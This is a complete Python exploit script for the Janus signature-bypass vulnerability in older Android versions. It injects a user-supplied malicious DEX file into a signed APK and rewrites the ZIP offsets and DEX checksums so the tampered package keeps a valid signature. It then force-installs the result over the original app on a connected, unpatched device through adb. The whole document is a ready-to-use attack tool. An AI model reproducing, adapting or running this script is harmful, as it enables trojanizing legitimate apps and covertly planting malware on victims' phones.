#!/usr/bin/python3

import sys
import os
import argparse
import struct
import datetime
import subprocess
import importlib

from hashlib import sha1
from zlib import adler32
from androguard.core.bytecodes.apk import APK
from androguard.util import get_certificate_name_string

class suppress_output: 
    def __init__(self,suppress_stdout=False,suppress_stderr=False): 
        self.suppress_stdout = suppress_stdout 
        self.suppress_stderr = suppress_stderr 
        self._stdout = None 
        self._stderr = None    
    
    def __enter__(self): 
        devnull = open(os.devnull, "w") 
        if self.suppress_stdout: 
            self._stdout = sys.stdout 
            sys.stdout = devnull        
        if self.suppress_stderr: 
            self._stderr = sys.stderr 
            sys.stderr = devnull
    def __exit__(self, *args): 
        if self.suppress_stdout: 
            sys.stdout = self._stdout 
        if self.suppress_stderr: 
            sys.stderr = self._stderr


def check_required_tools_and_install():
    andro = importlib.util.find_spec("androguard")
    requirements = ["adb"]
    ninstalled = 0
    null = open("/dev/null", "w")
    if not andro:         
        subprocess.check_call([sys.executable, "-m", "pip", "install", "androguard"], stdout=null, stderr=null)
    for tool in requirements:
        try:
            subprocess.Popen(tool, stdout=null, stderr=null)
            null.close()
            print("\033[92m[+]\033[0m "+tool.upper()+" is installed")
        except OSError:
            ninstalled = 1
            print("\033[91m[-]\033[0m "+tool+" is not installed")
    if ninstalled: 
        print("\nPlease install missing tools and re-run the exploit")
        quit()        

sdk, android = "27", "8.0.0"
            
def is_apk_vulnerable(apk):
    with suppress_output(suppress_stdout=True,suppress_stderr=True): a = APK(app)
    global sdk, android
    if a.is_signed():
        print("\033[92m[+]\033[0m APK is signed")
        if a.is_signed_v1:
            if a.is_signed_v2() or a.is_signed_v3():
                sdk, android = "24", "7.0.0"
            if a.get_min_sdk_version() < sdk:
                print("\033[92m[+]\033[0m APK("+a.get_min_sdk_version()+") is set to run on devices less then API level "+sdk+"(Android "+android+")\n\033[92m[+]\033[0m APK is vulnerable\n\033[93m[!]\033[0m Please connect the device running Android less then "+android+" through adb")
                device_connected = input("\033[93m[!]\033[0m Once recommended device is connected. Press 'y': ")
                if device_connected != "y":
                    print("\033[91m[-]\033[0m Recommended device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m")
                    quit() 
        else:
            print("\033[91m[-]\033[0m APK is Not Vulnerable\n\n\033[91mStopping the exploit.\033[0m")
            quit()    
        
    else: 
        print("\033[91m[-]\033[0m APK is Not signed\n\n\033[91mStopping the exploit.\033[0m")
        quit()    

def injection():
    with open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open("kal-janus.apk", "wb") as apk_out:
        dex_data = bytearray(dex_in.read())
        apk_data = bytearray(apk_in.read())
        dex_size = len(dex_data)

        ea_cd = apk_data.rfind(b"\x50\x4b\x05\x06")
        sa_cd = struct.unpack("<L", apk_data[ea_cd+16:ea_cd+20])[0]
        apk_data[ea_cd+16:ea_cd+20] = struct.pack("<L", sa_cd+dex_size)
    
        print("\033[93m[!]\033[0m injecting payload into the apk")
        while (sa_cd < ea_cd):
            offset = struct.unpack("<L", apk_data[sa_cd+42:sa_cd+46])[0]
            apk_data[sa_cd+42:sa_cd+46] = struct.pack("<L", offset+dex_size)
            sa_cd = apk_data.find(b"\x50\x4b\x01\x02", sa_cd+46, ea_cd)
            if sa_cd == -1:
                break

        data = dex_data + apk_data
        data[32:36] = struct.pack("<L", len(data))
        print("\033[92m[+]\033[0m Payload injected successfully")
    
        m = sha1()
        m.update(data[32:])
        print("\033[93m[!]\033[0m updating checksum")
        data[12:12+20] = m.digest()

        print("\033[93m[!]\033[0m Creating apk with injected payload")
        c = adler32(memoryview(data[12:])) & 0xffffffff
        data[8:12] = struct.pack("<L", c)
        apk_out.write(data)
        print("\033[92m[+]\033[0m APK created successfully")

                       
parser = argparse.ArgumentParser()
print("Exploits the Janus Vulnerability\n")
parser.add_argument("dex_in", metavar="dex-file", type=str, help="the malicious dex file to inject")
parser.add_argument("apk_in", metavar="original-apk", type=str, help="original source apk to be injected")
args = parser.parse_args()

check_required_tools_and_install()
app = args.apk_in
is_apk_vulnerable(app)

device = os.popen("adb devices").read().split('\n', 1)[1].split("device")[0].strip()
if len(device) <= 1:
    print("\033[91m[-]\033[0m No device Connected.\n\n\033[91mStopping the exploit.\033[0m")
    quit()
else:
    print("\033[92m[+]\033[0m device found")
    result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.sdk'], stdout=subprocess.PIPE)
    api = str(result.communicate())
    api = api.split("\n")[0].split('\\')[0].split("(b'")[1]
    if api < sdk:
        result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.release'], stdout=subprocess.PIPE)
        release = str(result.communicate())
        release = release.split("\n")[0].split('\\')[0].split("(b'")[1]
        print("\033[92m[+]\033[0m Recommended Android device "+release+" is connected(API Level " +api+").")
        result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.security_patch'], stdout=subprocess.PIPE)
        patch = str(result.communicate())
        patch = patch.split("\n")[0].split('\\')[0].split("(b'")[1]
        patched = "2017-12-01"
        if patched > patch:
            print("\033[92m[+]\033[0m Android security Patch level "+patch+" is vulnerable")
            injection()
            null = open("/dev/null", "w")
            result = subprocess.Popen(['adb', 'install', '-r', 'kal-janus.apk'], stdout=subprocess.PIPE, stderr=null)
            install = str(result.communicate())
            null.close()
            if api < "24": install = install.split("\n")[0].split('\\')[5].split("n")[1].lower()
            else: install = install.split()[2].split("\\n")[1].lower()
            if install == "success": print("\033[92m[+]\033[0m APK updated successfully.\n\033[92m[+]\033[0m Exploit Completed successfully.")
            else: print("\033[91m[-]\033[0m Installation failed");quit()
        else: print("\033[91m[-]\033[0m Android device is patched with 2017-12-05 which is not vulnerable..\n\n\033[91mStopping the exploit.\033[0m");quit()
    else:
        print("\033[91m[-]\033[0m Recommended! device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m")
        quit()

print("\033[92m[+]\033[0m Cleaning the system...")
if os.path.exists("kal-janus.apk"): os.remove("kal-janus.apk")
